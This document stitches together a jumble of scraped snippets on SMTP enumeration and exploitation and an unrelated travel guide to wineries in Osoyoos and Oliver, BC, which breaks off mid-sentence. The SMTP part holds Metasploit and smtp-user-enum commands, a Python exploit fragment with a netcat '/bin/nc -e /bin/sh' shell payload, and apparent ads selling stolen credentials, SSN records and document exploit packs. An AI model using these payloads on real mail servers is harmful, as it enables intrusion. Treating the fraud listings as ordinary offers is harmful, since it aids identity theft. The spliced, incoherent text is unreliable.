SMTP. To support email services, a protocol pair is required, comprising of SMTP and POP/IMAP. The Exploit Database is a CVE compliant archive of public exploits and corresponding vulnerable software, developed for use by penetration testers and vulnerability researchers. you likely connected to port 25 (SMTP). Attackers commonly use the vulnerabilities of SMTP to spread malicious software to the recipients of your email but also in your own …. This Exploitation is divided into multiple steps if any step you already done so just skip and jump to the next step. Enumeration is the process of collecting information about user names, network resources, other machine …. Simple mail transfer protocol secure (SMTPS), in the days long gone, used port 465 to secure SMTP at the transport layer by wrapping it inside a TLS (transport layer security) connection. remote exploit for Windows platform. This way, the attacker-injected message in the recipient address is processed by the server. This initiates the SMTP handshake. py # coding=utf-8 import requests, re, threading, time from Exploits import printModule r = '\033[31m' g = '\033[32m' y = '\033[33m' b = '\033[34m' m = '\033[35m' c = '\033[36m' w = '\033[37m'. There is a reason why no one uses Telnet anymore and the exploits …. SMTP relay exploit takes advantage of DMARC unenforcement. Microsoft Exchange Server SMTP buffer overflow SmtpBufferOverflow. Code navigation index up-to-date Go to file Go to file T; Go to line L; Go to definition …. The SMTP server in Postfix before 2. To support email services, a protocol pair is required, comprising of SMTP …. BL4 Smtp Server : CVE security vulnerabilities, versions and. The generic usage of the script is the following: nmap –script smtp-enum-users. 1 is not vulnerable to this exploit. VRFY - verify if the mailbox exists. inbox office365 unlimited ( Sender Wolf v4. In the upcoming chapter I will describe how to write your own Nmap script engine, and how to exploit them using Nmap. It is commonly used to relay and submit messages to another email servers. It's like saying you can bake bread using water. SMTP Username Enumeration via Nmap. There is a password reset vulnerability caused by a data leak from a debug log file in the WordPress plugin Easy WP SMTP. 4 for WordPress allows Administrator account takeover, as exploited in the wild in December 2020. Then, use the mount command we broke down earlier to mount the NFS share to your local machine. The exploit will only execute while the target host has a vulnerability which still remains unpatched. This flaw, which they named the "Split Tunnel SMTP Exploit," works as long as an attacker can discover the EEAs IP address, so the attacker . An attacker can exploit this issue to execute arbitrary commands in the context of the user running the application. and then design a testing plan to further exploit the application. See the OWASP page on Testing for IMAP/SMTP Injection. SOLVED] SMTP Service Cleartext Login Permitted. These can be viruses, Trojan horses or any other types of worms that are then used to obstruct operations, gain access to servers, change privileges and access secure data. In your question, your definition of a "secure SMTP server" is one that does not support pipelining. This page contains detailed information about how to use the exploit/linux/smtp/haraka metasploit module. Metasploit Basics, Part 27: Compromising an Exim Email Server. If this exploit worked while using an @gmail. 165) is associated with a virtual server hosted at a German hosting company. To get around the SMTP auto start problem consider using a 3rd party app. Type following command to enumerate username using a dictionary of usernames: smtp-user-enum -M VRFY -U /root/Desktop/user. There is a reason why no one uses Telnet anymore and the exploits above are just a few examples why - the best way to mitigate this is to disable Telnet on the Metasploitable machine (if it was a real server, just use SSH instead). It is user-definable, and optional There was an old smtp exploit which was kind of buggy, but gets you a shell temporarily In fall 2009, …. The SMTP enumeration can be performed manually through utilities like telnet and netcat or automatically via a variety of tools like metasploit,nmap and smtp-user-enum. Transfer Protocol on how to enumerate and exploit this network services. I have a low priority result "SMTP Service Cleartext Login Permitted " received. While this is an extremely small chunk of Google's email traffic, similar exploits can affect. Using this command, followed by the email user name, will prompt the server to verify whether the user account exits, such as:. cf file and add SMTP transports. In the while loop within run (), we connect to the IMAP server and authenticate through the function connect_login () imported from Msf::Exploit::Remote::Imap. Google’s Recent SMTP Relay Exploit and DMARC Policies. We then call the function fuzz_str () which generates a variable size alphanumeric. php at master · opsxcq/exploit-CVE-2016-10033. Now that we are connected via telnet to the SMTP server, we can use the SMTP commands listed above to …. Attempts to exploit a vulnerability in Microsoft Exchange 2000 and 2003 by . HELO - sent by a client to introduce itself. User-level email clients typically use SMTP …. All basic SMTP commands that are specified by the SMTP protocol are described below. Today we celebrate the work of noted parapsychologists Dr. HELP - used to see all commands. They have closed the loophole by May, however, at least 30,000 malicious emails were detected in a two-week period. WordPress Easy WP SMTP zero. SMTP is a delivery protocol only. Learn More About The Images We Choose. Our Customer Success and Support Teams give you the information and guidance you need, when you need it. txt msf5 auxiliary(scanner/smtp/smtp_enum) > exploit . We can also find out version and valid user of SMTP server using telnet. In any other case, it just (almost (*)) tranparently transmits every character given locally to the remote, and displays locally every character sent from the remote. We would use it here as penetration testers to spoof. Today you will see how we can exploit a web server by abusing SMTP services if the webserver is vulnerable to local file Inclusion. It is common practice for web pages and web applications to implement contact forms, which in turn send email messages to the intended recipients. tags | exploit advisories | CVE-2014-6271 MD5. Therefore, such servers are usually targeted by spam senders to send spoofed emails to victims inbox. The so-called Split Tunnel SMTP Exploit works against pretty much any email encryption device—virtual, hosted or in-house—that accepts inbound SMTP …. Most importantly, we want to use the VRFY (verify) command. WP Mail SMTP is the best WordPress SMTP plugin with over 1 million active installs. Ar trebui sa mearga si fara, pe SMTP, fara ESMTP (Extended SMTP). Using a process called “store. Timestamp:00:00 Introduction01:29 How Email works?03:30 Task 1 (Understanding SMTP)04:20 Task 2 (Enumerating SMTP)11:10 Task 3 (Exploiting SMTP…. List of IMAP/SMTP commands affected. SMTP Exploits As with nearly all common Layer 7 protocols, SMTP has its share of vulnerabilities and exploits. First, lets run a port scan against the target machine, same as last time. Yes, that is true, but you also need flour. The SMTP Enumeration module will connect to a given mail server and use a wordlist to enumerate users that are present on the remote system. @schroeder Yes, but telnet alone is not enough to hack a website - there must be some underlying vulnerability, which you can then exploit using telnet (or any other tool, for that matter, that is capable of opening a socket to the server). Selling Mail Pass 10$/1000 mail pass Selling Full info [ Name DOB Zipcode State City Address Phone Mail SSN ] = 30$/1000 info - CARD WITH PASS …. py / Jump to Go to file Cannot retrieve contributors at this time 23 lines (19 sloc) 571 Bytes Raw Blame #!/usr/bin/python3 import socket payload = b"/bin/nc -e /bin/sh;" sock = socket. 2 and later versions contain a feature that generates debug logs for all emails sent by a site, which are then saved in the installation folder. A 0day vulnerability in the EASY WP SMTP plugin gives unauthenticated attackers the power to modify any options of an affected site, . Penetration testing an SMTP server. SMTP ( Simple Mail Transfer Protocol ) is a TCP/IP protocol used in sending and receiving e-mail In this walkthrough, I will be taking you through the basics of Windows enumeration and exploitation …. Shellshock SMTP Exploit # Date: 10/3/2014 # Exploit Author. Original Release Date: 2001-03-02 | Last Revised: . MSF has a user enumeration module for SMTP. Vulnerabilities in SMTP Service Cleartext Login Permitted is a Medium Description: SMTP Service Cleartext Login Permitted Synoposis: The …. Understanding and Pentesting SMTP Mail Servers. 500 000+ It is hard to determine the actual number of vulnerable installations because there are several prerequisites in order to exploit the vulnerability. Step 2 SMTP Enumerate With Nmap Step 3 Use smtp-user-enum Tool Step 4 Install ssmtp Tool And Send Mail Conclusion Step 1 Nmap Port 25 Scan nmap -T4 -A -p 80 Run this command if you don't know the meaning see below i will explain. Doc & Xls Exploit; The Big Exploit Pack; Exel Formula Exploit; DDE Auto Office Exploit. Checks for a format string vulnerability in the Exim SMTP server (version 4. We’re going to go through and enumerate services and exploit …. The SMTP server performs three basic. inbox office365 unlimted ( Sender Wolf v41 ) from WOLF SILENT EXPLOIT. User Smtp Enumeration Metasploit. It is an attack on a web server, or other application that controls a mail server at the back end. There is a core list of SMTP commands that all SMTP servers supports and these are referred to as basic SMTP commands in this document. 4 Unrecognized authentication type auth ntlm 504 5. Note: In order to confirm the bank transfer, you will need to upload a receipt or take a screenshot of your transfer within 1 day from your payment date. To get the answer to this question it is important to select the module smtp_enum using the command ‘use’ and then go through the list of options in this module using the ‘options’ command where we see the word wordlist in the USER_FILE row this indicates that this option is used to set the wordlist. This is a write up for the Enumerating and Exploiting SMTP …. Together they allow the user to send outgoing mail and retrieve incoming mail, respectively. A commercial package, Sendmail, includes a POP3 server. As we can see from the above image the enumeration. 3, when certain Cyrus SASL authentication methods …. On November 6th, 2019, Detectify added security tests for 50+ of the most popular WordPress plugins, including Easy-WP-SMTP. SMTP header injection isn't an attack on a mail server. Step 2 SMTP Enumerate With Nmap. his plugin allows site owners to configure SMTP settings for outgoing emails from their site. Although the zero-day affecting Easy-WP-SMTP (CVE-2020-35234) was recently patched, WordPress estimates that many of the 500,000+ active installs of the plugin remain unpatched. Added InterWorx regex detection for proftpd, dovecot imap, dovecot pop3, and smtp auth login failures. The SMTP service has two internal commands that allow the enumeration of users: VRFY (confirming the names of valid users) and EXPN (which reveals the actual address of user's aliases and lists of e-mail (mailing lists)). The so-called Split Tunnel SMTP Exploit works against pretty much any email encryption device—virtual, hosted or in-house—that accepts . The Inbound SMTP Email test shows you the various steps taken by an email server to send your domain an inbound SMTP email. Haraka SMTP Command Injection. Postfix SMTP Shellshock ≈ Packet Storm. The telnet way is the way where we’ll target the mail servers to spoof the emails. He only mentions GSuite/google. html Checks for and/or exploits a heap overflow within versions of Exim prior to version 4. The following 2 screenshots are showing how we can enumerate users with the VRFY and RCPT commands by using the telnet service. Connect to an RPC share without a username and password and enumerate privledges. TryHackMe- Network Services 2 — Lab Wal…. The Abusix Exploits list observes the behavior of SMTP clients connecting to Abusix traps and their partners’ mail services. See all Easy WP SMTP vulnerabilities. Using LFI and SMTP to Get a Reverse Shell. This signature detects attempts to exploit a known vulnerability in Adobe Acrobat software. In this case, the Split Tunnel SMTP Exploit attack completely bypassed the email security product, allowing spammers and spear-phishers with a …. txt msf auxiliary(smtp_enum) > exploit. > use auxiliart/scanner/smtp/smtp_enum > run The. SMTP is part of the application …. 69 (CVE-2010-4344) and a privilege escalation vulnerability in Exim 4. The next exploit that uses Telnet involves port 25 for SMTP. The topic(SMTP exploit) will also convince you on agreeing to this quote. Mail servers and other message transfer agents use SMTP to send and receive mail messages. executing DATA command will receive a 354 code to compose our mail to target. 44 not permitted by network security policy. Account enumeration A clever way that attackers can verify …. SMTP enumeration with Kali Linux. Tunneling: sshuttle is an awesome tunneling tool that does all the hard work for you. The exploits can be run on demand or as part of an automated penetration test. Although a little bit boring, it can play a major role in the success of the pentest. Overiding the run () method, our code will be executed each time the user calls run from msfconsole. -M: mode Method to use for username guessing EXPN, VRFY or RCPT. Metasploit isn’t particularly suited for telling you what vulnerabilities a host has. Google's SMTP relay service is used by organizations for things like sending out promotional messages to a huge number of users without. CentOS: yum -y install postfix. 75) with DomainKeys Identified Mail (DKIM) support (CVE-2011-1764). After identifying all vulnerable parameters (for example, passed_id), the tester needs to determine what level of injection is possible and then design a testing plan to further exploit the application. The original TCP port 25 version of SMTP was sent in cleartext. Clients use it to send email to their mail service, and email (MX) servers use it to forward email messages to each other. A vulnerable server will allow injection of IMAP or SMTP commands to the mail identify vulnerabilities before hackers exploit them. A client computer communicates with an SMTP server (e-mail server) by using SMTP commands. com Subject: RE: [IMail Forum] SMTP Exploit Scanning Going on NOW Hi All, Sorry I am running V8. So here I will show the basic techniques for scanning network/host. SMTP User Enumerationを行う方法はいくつかありますが、代表的な侵入試験ツールの1つのMetasploit (Metasploit Console(Msfconsole)を …. To review, open the file in an editor that reveals hidden Unicode characters. The confusion around secure SMTP ports is understandable since the Internet Assigned Numbers Authority (IANA) at one point had taken. Running the BlueKeep exploit module. This paper takes a look at port 25, SMTP, the sendmail buffer overflow described in CVE CAN-2002-1337 and the ISS vulnerability notice. Learn how to perform a Penetration Test against a compromised system. client MUST issue HELO or EHLO before starting a mail transaction. Ways to exploit SMTP Telnet The telnet way is the way where we'll target the mail servers to spoof the emails. UnknownServiceException: CLEARTEXT communication to 192. Once spoofed, they can send out phishing emails that are more likely to get into the inbox, as it leverages. SMTP Exploits SMTP Exploits As with nearly all common Layer 7 protocols, SMTP has its share of vulnerabilities and exploits. It is utilised to handle the sending of emails. SMTP 25 PORT || How To Hack Port 25 || Metasploitable2 Hacking ||. Microsoft Exchange includes an SMTP …. When connected to a true telnet server (usually on port 23), it uses the TELNET protocol defined by …. User-friendly assistance for individuals having problems with our products. FR: Whois, DNS, MX and web server technical analysis on domain name smtp. Some of the important commands are 1. SMTP Injection is an attack technique that injects attacker-controlled SMTP commands into the data transmitted from an application (typically a web application) to an SMTP server for spamming purposes. SMTP User Enumeration Utility. #raw_send_recv(cmd, nsock = self. The Simple Mail Transport Protocol is used to send email messages as opposed to POP3 or IMAP which can be used to both send and receive messages. Exploit JPG 0DAY; Exploit JPG Android; Exploit PDF; Exploit Excel; Choose an SMTP Server Price plan. Go ahead, install Python and SMTPTester to check if your SMTP server is vulnerable. This method transmits an IMAP command and waits for a response. There are tons of payloads that are available in Metasploit, so it might be overwhelming to figure out which payloads you can use for specific exploits. TryHackMe: Enumerating and Exploiting SMTP. Detecting the AV may allow you to exploit known vulnerabilities. It helps you fix the WordPress not sending email issue and make sure that all your WordPress emails are delivered right into user's inbox. In this challenge we will look at the basics of Postfix SMTP server reconnaissance. We are working on a update for 8. Phishers are exploiting a flaw in Google’s SMTP relay service to send malicious emails spoofing popular brands. An attack with the Split Tunnel SMTP Exploit is successful also because how email encryption appliances work with email servers and accompanying email security gateways (ESGs). Each transport will represent a policy for a group of receiving domain: polite unix - - n - - smtp …. An overview of the "smtp_enum" and "smtp_version" Scanner SMTP Auxiliary Modules of the Metasploit Framework. Utilize SMTP command DATA to compose the mail in the command line. Most of the time, such contact forms set headers. Exploiting Windows 2003 server reverse shell. What you show is not even accessing the web server. Have you covered the basics of remote exploitation we discussed in . 25/tcp open smtp Postfix smtpd Exploit. It may even display logged in users and device purpose Send Email with SMTP Server in C#, VB, ASP You …. The old script had a preset sender name i have made this a variable so its easily changeable …. 4 SMTP allows a network attacker to send emails to non-existent local-domain recipients to the SMTP …. 3 Patches Sensitive Data Disclosure Vulnerability. The Abusix Exploits list observes the behavior of SMTP clients connecting to Abusix traps and their partners' mail services. Enumeration is the process of collecting information about user names, network resources, other machine names, shares and services running on the network. 22 which will include one DLL that needs to be copied over the old one during a stop / start of smtpd32. The Simple Mail Transfer Protocol ( SMTP) is an internet standard communication protocol for electronic mail transmission. In other words, users typically use a program that uses SMTP for sending e-mail and either POP3 or IMAP for receiving e-mail. There are millions of mailservers that send and receive mail for multiple domains, and the SMTP Banner is gonna be what it is. Our aim is to serve the most comprehensive collection of exploits …. SMTP is a communication protocol for email transmission. An open relay is an SMTP server configured in such a way that allows a third party to relay (send/receive email messages that are neither from …. To get the answer to this question it is important to select the module smtp_enum using the command ‘use’ and then go through the list of ….

Visit the best wineries in Osoyoos & Oliver, located in the heart of British Columbia’s beautiful South Okanagan. Our comprehensive wine guide showcases our favourite Osoyoos Wineries, featuring detailed descriptions for the best vineyards to swirl and sip on a wine lovers weekend getaway. Enjoy a road trip through Canada’s unique desert landscape and you’ll find world class wineries in Oliver and Osoyoos that offer friendly tasting bars, scenic patios and romantic restaurants. Save this story to Pinterest! History of Wineries in Osoyoos & Oliver BC With a current population of around 5,000, agriculture and tourism are Osoyoos’ most important industries. Though it wasn’t until the 1960s when grape-growing became established on a large scale. Today, wineries are a major feature of the local landscape, and for many culinary tourists, the major draw to visit. Nk’Mip Cellars was the first Osoyoos winery, popping its first bottle in 2002. The region is now home to over 1,500 acres of lush vineyards. As a wine region, and in comparison to neighbours in the United States and in Europe, the South Okanagan is still considered young. With a diversity of local growers, there is also a diversity in plantings. From Pinot Noir to Tempranillo, Riesling to Viognier, the expression of local terroir is constantly being explored and rediscovered. Officially Canada’s hottest spot, Wineries in Osoyoos are the perfect playground for red wine aficionados. The red grapes are so great here that wineries from other regions in British Columbia use the southern harvest to produce award-winning, sun-ripened red wines. The most common grape varietals grown in Oliver Osoyoos Wine Country include: - Osoyoos Wines: Merlot, Cabernet Sauvignon, Syrah - Oliver Wines: Merlot, Pinot Gris, Chardonnay, Cabernet Sauvignon Festivals at Wineries in Osoyoos If it’s your first visit to the South Okanagan why not plan your trip around a fun annual wine festival hosted by Oliver Osoyoos Wine Country’s Uncork The Sun? - Pig Out Weekend: enjoy winery hopping and special chef hosted dinners on the first weekend of the Okanagan Spring Wine Festival in June. - Half Corked Marathon: athletes lace up your shoes for this fun weekend in April featuring a race through scenic wineries. Enjoy the famous Primavera Dinner and Dinner at the Farm. How To Get To The Wineries in Osoyoos & Oliver BC Osoyoos is located in southern British Columbia on the American border with Washington State. From the US Osoyoos can be accessed via Highway 97 from Oroville. Osoyoos can be accessed by car within British Columbia via Highway 3 to the east and west and Highway 97 north towards Kelowna. The drive from Vancouver typically takes around 5 hours. Leave the city in the early morning and you’ll be noshing on lunch at a scenic winery in no time! The closest major airport can be found in Kelowna, which is a 1 hour 45 minute drive from Osoyoos. Best Hotels Near Wineries in Osoyoos There are plenty of accommodation options in Osoyoos to fit every budget. Here are three of our favourite Osoyoos hotels and resorts to book for a fun wine country weekend getaway. - Watermark Beach Resort: This family-friendly luxury hotel sits perched over Lake Osoyoos. Enjoy a romantic getaway by booking one of the hotel’s modern condo-style suites, which feature kitchens and are pet-friendly. The property also features a full service spa, outdoor pool, fine dining restaurant and craft brewery. - Holiday Inn Hotel & Suites Osoyoos: This midrange 3 star hotel offers well appointed corporate suites, indoor pool, hot tub, and casual dining room. - Super 8 by Wyndham Osoyoos: Traveling on a budget? The Super 8 is our favourite budget hotel in Osoyoos, offering clean rooms, complimentary breakfast and an outdoor pool. Oliver & Osoyoos Wine Tours You can easily visit the best Osoyoos wineries on a DIY itinerary by using this Osoyoos Wineries Map. Though sometimes it’s nice to just sit back, relax, and have a local guide show you the ropes. We suggest booking an Osoyoos wine tour if you’re traveling with a group. That way everyone can enjoy vineyard hopping. Pay someone to be your designated driver and enjoy the Chardonnay and Shiraz responsibly. - Oliver & Osoyoos Wine Tour Full Day - Osoyoos/Oliver Wine Trail Holy Sip Lunch Shared Tour - Oliver and Osoyoos Wine Tour from Kelowna - South Okanagan Desert Tour Best Wineries in Osoyoos Oliver Osoyoos Wine Country can easily be accessed by car along Highway 97. There are a cluster of wineries near the US border as well as in and around the town of Osoyoos. The majority of wineries can be found along the Okanagan River between Osoyoos and Oliver. Lakeside Cellars 5221 Lakeshore Dr, 250-495-5810 Harbans, Harkesh, Ricky and Danielle Dhaliwal are the owners of Lakeside Cellars. The family-owned winery started offering wine tastings in 2019 through a wine cellar located off the highway while they impatiently waited for the construction of a tasting room to complete. The vineyard location has a long agricultural history in Osoyoos as the location of the old Haynes residence and first commercial orchard. “Ricky worked with the Osoyoos Museum Society to remove any artifacts and we found enough pieces of wood that could be salvaged to build a table for the private tasting room in the new building,” said Lakeside Cellars Marketing Manager Noelle Starzynski. When the Dhaliwals purchased the property in 2015, there were Cabernet Sauvignon and Sauvignon Blanc vines planted in the late 90s. Lakeside Cellars owner and winemaker Ricky Dhaliwal shared, “The new building was inspired by a French Chateau with a modern interior – our wines are traditional but made in the new world and we wanted that reflected in the design of the new building.” Ricky comes from an orchardist family, his philosophy in the winery always starts with the fruit first. From the beginning he was focussed on having a completely estate-grown portfolio; so his varietal focus is what grows well on the particular vineyard sites. Being in the south, it’s a lot of big, concentrated reds, with a few whimsical plantings for experiment. We were the first winery, for instance, to plant Cinsault for our rosé program and that was a very successful experiment. “I most enjoy producing Bordeaux reds. Provenir is a blend of Cabernet Sauvignon, Merlot, and Cabernet Franc working in equal parts to showcase our Oliver and Osoyoos in vineyard sites,” said Dhaliwal. If you’re visiting in summer 2022 the new tasting room will be ready for guests to swirl and sip. You can pair wine flights with a charcuterie board if you’re feeling peckish for a picnic. Moon Curser Vineyards Beata and Chris Tolley first purchased the 6 acre piece of land that Moon Curser Vineyards sits in the Spring of 2004. It used to be an old orchard and fruit stand. The Osoyoos winery’s name pays tribute to the gold smuggling history of the desert border town. Beata explained, “The residence on the property was originally built in the traditional style included by the many Portuguese families that landed in Osoyoos to farm – arches, red brick and a solid rectangular structure.” The tasting room and barrel hall has been designed in homage to classic Tuscan villas featuring luxe finishes like plaster walls, custom woodwork and large Italian floor tiles. Today, Moon Curser Vineyards is an award winning family-owned winery on the East Bench of Osoyoos, British Columbia.yard’s Winemaker Chris Tolley works alongside Christian Scagnetti. In 2019 the duo were named #1 Best Performing Small Winery in Canada at the WineAlign National Wine Awards of Canada. If you’re looking for an extra special experience at an Osoyoos winery book Moon Curser’s Winemaker’s Tasting led by Chris Tolley. The $75 two hour tour includes a visit to the cellar, vineyards and sit down private tasting on the outdoor deck to sip and swirl 6 wines. Nk’Mip Cellars 1400 Rancher Creek Rd, 250-495-2985 Nk’Mip Cellars in Osoyoos is an indigenous winery in partnership with Osoyoos Indian Band and Arterra Wines Canada. Nk’Mip Cellars (pronounced in-ka-meep) was established in Osoyoos in 2002. Situated on a bench overlooking the shores of Osoyoos Lake the scenic winery sits beside a tract of natural desert land, surrounded by a rolling vineyard. The vineyard is nestled into the Sonoran Desert and was designed to celebrate the natural beauty and unique arid wilderness of Canada’s only pocket desert. Designed by Penticton-based architect Robert Mackenzie, the Nk’Mip Cellars winery building celebrates this natural beauty and unique arid wilderness. It was constructed partially underground to accommodate the cellars and make use of the natural cooling effect of the earth, while helping to reduce the building’s impact on the landscape. Nk’Mip Cellars represents meaningful native roots and culture. The pictographs displayed on the wine labels are symbols of the power and wisdom that represent the history of its people. Justin Hall is the indigenous winery’s winemaker and a proud member of the Osoyoos Indian Band. “Nk’Mip Cellars is located in the southernmost region of the Okanagan Valley, right in the heart of the Vest Pocket Desert which is Canada’s hottest winemaking region. We get the sun needed to make big bold red wines with rich ripe tannins and bold fruit characters. The Desert also gives us cool nighttime temperatures which help us retain a naturally balanced acidity in the wine. Two of our wines that I recommend are the Pinot Blanc and Syrah,” said Hall. Looking to enjoy a vineyard tour, tasting and meal at one of the Wineries in Osoyoos? We suggest Nk’Mip Cellars as it’s the only vineyard in Osoyoos that has a restaurant. Nk’Mip Cellar’s outdoor patio restaurant offers contemporary North American cuisine featuring Farm-to-Table innovations. Highlights include Duck Fat Potatoes, Braised Bison Taco and Fried Chicken Grilled Cheese. La Stella Winery 8123 148 Ave, 250-495-8180 La Stella Winery is the best wineries in Osoyoos for those looking to sample classic Italian grape varietals. The La Stella vineyards produce great fruit, which are crafted into proprietary wines like Allegretto, Vivace and Maestoso. Since each wine has its own story, winemaker Severine Pinte conveys each unique story by naming each wine after Italian musical notes. La Stella Winery is located a short drive from downtown Osoyoos and offers wine tastings from its Tuscan inspired tasting room. On hot sunny days visiting oenophiles can be found sniffing and swirling Cabernet and Merlot on the winery’s scenic outdoor patio. Bordertown Vineyards 9140 92 Ave, 250-495-3332 Bordertown Vineyards and Estate Winery is is nestled in the heart of Osoyoos. Mohan Gill and his fifth-generation farming family first opened the Osoyoos winery in May, 2015. “Our commitment to producing the finest wines and a stunning wine tasting room have made Bordertown a destination for wine, food and travel lovers. The diversity of exposure, microclimate and soil type allow us to produce 14 very different varietals. All wines are estate grown and VQA certified,” said Gill. Bordertown has 100 acres of vineyards. The Osoyoos winery grows Chardonnay, Riesling, Muscat, Gewürztraminer and Viognier and Pinot Gris. You’ll also find Merlot, Cabernet Franc, Cabernet Sauvignon, Pinot Gris and a young block of Grüner Veltliner. Traditionally in the South Okanagan, the Cabernet Franc grape was used to create fine Bordeaux blends. Until of late it was never considered a stand-alone grape. Now Bordertown’s Cabernet Franc is considered a game-changer. Executive Chef Ned Bell (formerly Four Seasons Hotel Vancouver, now Naramata Inn) wowed guests in New York City at the prestigious James Beard House by pairing it with BC salmon with mushrooms, celery root and hearts, and black truffle dressing. The celebrated Osoyoos wine features flavours of tobacco, dark spice, herbaceous green pepper, and a tiny hint of mint. All of this is achieved while maintaining supple tannins and dark berry flavours. If there is one wine you sample at Bordertown Vineyard’s the Cabernet Franc should be it! Best Oliver BC Wineries When most people say they are going on a tour of the wineries in Osoyoos they often include vineyards north of the city towards Oliver. The Oliver BC Wineries can be accessed by driving north of Osoyoos Lake towards Kelowna. Vineyards are located on both sides of the Okanagan River. Maverick Estate Winery 3974 BC-97, 778-437-3133 Maverick Estate Winery in Oliver enjoyed its first vintage in 2011. It’s tasting room opened later in 2016. The property was originally an organic orchard and then transitioned to a vineyard in 2010. The Maverick Estate Winery building was designed by architect Robert MacKenzie in nearby Naramata. The aesthetic is inspired by the traditional architecture in South Africa, the home of the original owners. The wood features come from New Mexico, and compliment the overall design. Jan Nelson, CEO at Maverick Winery shared, “The original owner was a winemaker who had been working at Burrowing Owl Vineyards before starting the winery. The Osoyoos winerys name comes from the Maverick identity – doing things your own way, without having to conform to expectations or what others are doing.” Winemaker Andrew Windsor joined the Maverick Winery team in April, 2020. Windsor loves producing Chardonnay, Pinot Noir, Cabernet Franc and Syrah. “France taught me that wine is not just a science but an art form, a culture, and an expression of a place. Wine can take you to a place in the world without leaving your home. I want to make the best wine in Canada and the only place I can do that is at Maverick in the south Okanagan,” said Windsor. There are vineyard tours throughout the summer on Fridays and Saturday. Cost is $20 per person, max of 20 people. Otherwise the winery features sit-down private tastings. Be sure to ask to sample their two unique artisanal ciders as well! Kismet Estate Winery Brothers Sukhi Dhaliwal and Balwinder Dhaliwal first opened Kismet Winery in 2013. Kismet is the only Oliver or Osoyoos Winery with an Indian restaurant on site. The best way to enjoy the Dhaliwal’s wines is at lunch or dinner on the Masala Bistro restaurant patio, which overlooks the vineyard. Feast on authentic samosa, spicy curries and biryani while swirling fine wine. The Kismet Estate Winery tasting room used to be a farm shed built by the original owners of the land from back in the early 1930s. Sukhi shared, “We decided to renew the structure as a ode to the early beginnings of this land. The heritage house on this property is also built by the same ownership and at that time, the house was built to be earthquake proof. We have made sure to preserve the natural character of the house. This will be a guest house on the property in the near future.” Before immigrating to Canada from India, the Dhaliwal’s had never grown grapes or even tasted wine. “We arrived from the farming region of Punjab and over the years worked in various vineyards in the early 2000s. We helped plant for wineries across the Black Sage Bench.” The family also started purchasing land, growing their own grapes and selling crop to developing wineries. “Now, we are the largest grape grower in the South Okanagan. Over time, all these wineries started winning multiple awards for the wines that we provided grapes for. Eventually, we decided we wanted to showcase our quality grape growing by making small batch wines. Kismet means destiny and we felt is was the most fitting name for our winery because it resonates with our story. We felt that we were at the right place, at the right time, surrounded by the right people to achieve the kind of opportunity and success that we have. It was simply Kismet,” exclaimed Sukhi. Kismet Winemaker Dapinder Gill likes to create Bordeaux and Rhone Valley style wines. “One of the most unique blends we have is our Moksha which is Syrah, Mourvedre, Grenache, Malbec, Viognier. It is reminiscent of the GSM blend from Rhone Valley. We also have Infinity Rosé which is made of 8 different red grape varieties,” explained Sukhi. Kismet Estate Winery offers 1 hour vineyard tours that include 6 wine tastings and are $30 per person. Covert Farms Family Estate 300 Covert Pl, 250-498-9463 Gene & Shelly Covert are the owners of Covert Farms Family Estate in Oliver. The fourth generation farm and winery was originally established in 1959. Fast-forward to the early 2000s and the farm shifted focus to a wine business. They converted apple orchards into vineyards and partnered with nearby growers to launch a boutique winery. Passionate advocates of regenerative agriculture, the duo have spent years cultivating strong and healthy soil by feeding nutrients into the land and keeping harmful chemicals out; as a result, their vineyard is noticeably robust and resilient, yielding juicy grapes packed with flavour. In 1980 a draft horse barn was built on the property and today it houses the vineyards wine shop. Shelly shared, “Our winemaker is co-proprietor and farmer, Gene Covert. Gene’s favorite style of wine making is using a process where you use the least amount of intervention from the winemaker in the process to create a wine that best showcases the grape variety and the terroir. We are only one of a few regenerative wineries that incorporate livestock into our vineyards thereby allowing the plants to fully express themselves through their terroir.” If it’s your first visit to Covert Farms Family Estate we suggest sipping a glass of Grand Reserve Chardonnay. Pair it with their signature Farmers Board, featuring a selection of local organic meat and cheeses, along with seasonal fruits and vegetables fresh from the farm. Culinary tourists exploring the Oliver and Osoyoos Wineries can also book unique experiences such as an Epicurean Tasting, Private Picnics and Campfire Cookout. You May Also Enjoy These British Columbia Travel Stories… - Fairmont Empress Hotel Best High Tea in Victoria - Cool and Unique Things to Do in Vancouver - Salmon Run and Houseboat Fun in Shuswap British Columbia - Vancouver Island Cider Houses - Travel to Tofino, British Columbia Church & State Wines 4516 Ryegrass Rd, 250-498-2700 Church and State Wines operates two wineries in British Columbia: Oliver in the Okanagan and Saanich Peninsula on Vancouver Island. The Vancouver Island winery produces Church & State’s fabulously fizzy sparkling wine. The remaining wines in the portfolio are produced at the Oliver winery in the South Okanagan. You can sample all of the wines grown on both Church & State vineyards when visiting either of the locations. “The name Church & State symbolizes a balance between the many elements involved in creating the highest quality wine we can produce. This concept of balance permeates everything we do, a balance between the head and the heart, between change and tradition,” said a representative for Church & State Wines. The Oliver winery farms 95 acres of pristine South Okanagan vineyards to produce 25,000 cases annually. It has been named producer of Canada’s Best Red Wine seven times since 2009, and received countless Gold medals, Best in Class awards and National trophies for both red and white wines. By focusing on the unique terroir of their South Okanagan Valley and Vancouver Island vineyards, Church & State Wines continually represent the cutting-edge of what is capable in Canadian viticulture and winemaking. Perched on the edge of the Coyote Bowl in the Oliver-Osoyoos wine region, Church & State’s modern, minimalist tasting bar features daily samples of fine wine. Enjoy a tasting inside looking into the barrel room or a flight on the patio looking across to the Golden Mile. French Door Estate Winery 5462 Black Sage Rd, 250-498-0735 Audra and Jason Shull launched French Door Estate Winery in June, 2020. The vineyard in Oliver, BC was planted in the early 2000s and over time it has developed beautiful vines. The vineyard sits on very sandy and rocky land, which results in incredible drainage. This particular location is one of the few vineyards to see the most sun in North America, resulting in very soft, concentrated and ripe wines. Jason Shull shared, “Our family was inspired by the simplicity and quality of French architecture, cuisine and wine during our travels to Provence. We believe the Okanagan Valley has a similar uniqueness about it, and we wanted to bring these parallels to life through the way our wine is produced and discussed.” The owners are high school sweethearts from the town of Osoyoos, which is a 10 minute drive from French Door Winery. Since the couple relocated to Vancouver shortly after they were married, they wanted to re-establish their roots in the Okanagan. Their love for wine and their eagerness to take on a project that their whole family could be a part of is what inspired them to open a winery. “The symbol of the French door represents how we incorporate the traditional aesthetics and values of beautiful Provence into our own backyard, with a modern twist. Our tasting room is encircled by French doors, and each one opens up into a new experience. Whether the doors lead you into our breathtaking barrel room, or onto our one-of-a-kind patio that overlooks the Okanagan valley, you are welcomed by an unspeakable aura that has been created using the best features of Provence and the Okanagan combined,” said Shull. Winemaker Pascal Madevon was trained in Bordeaux and 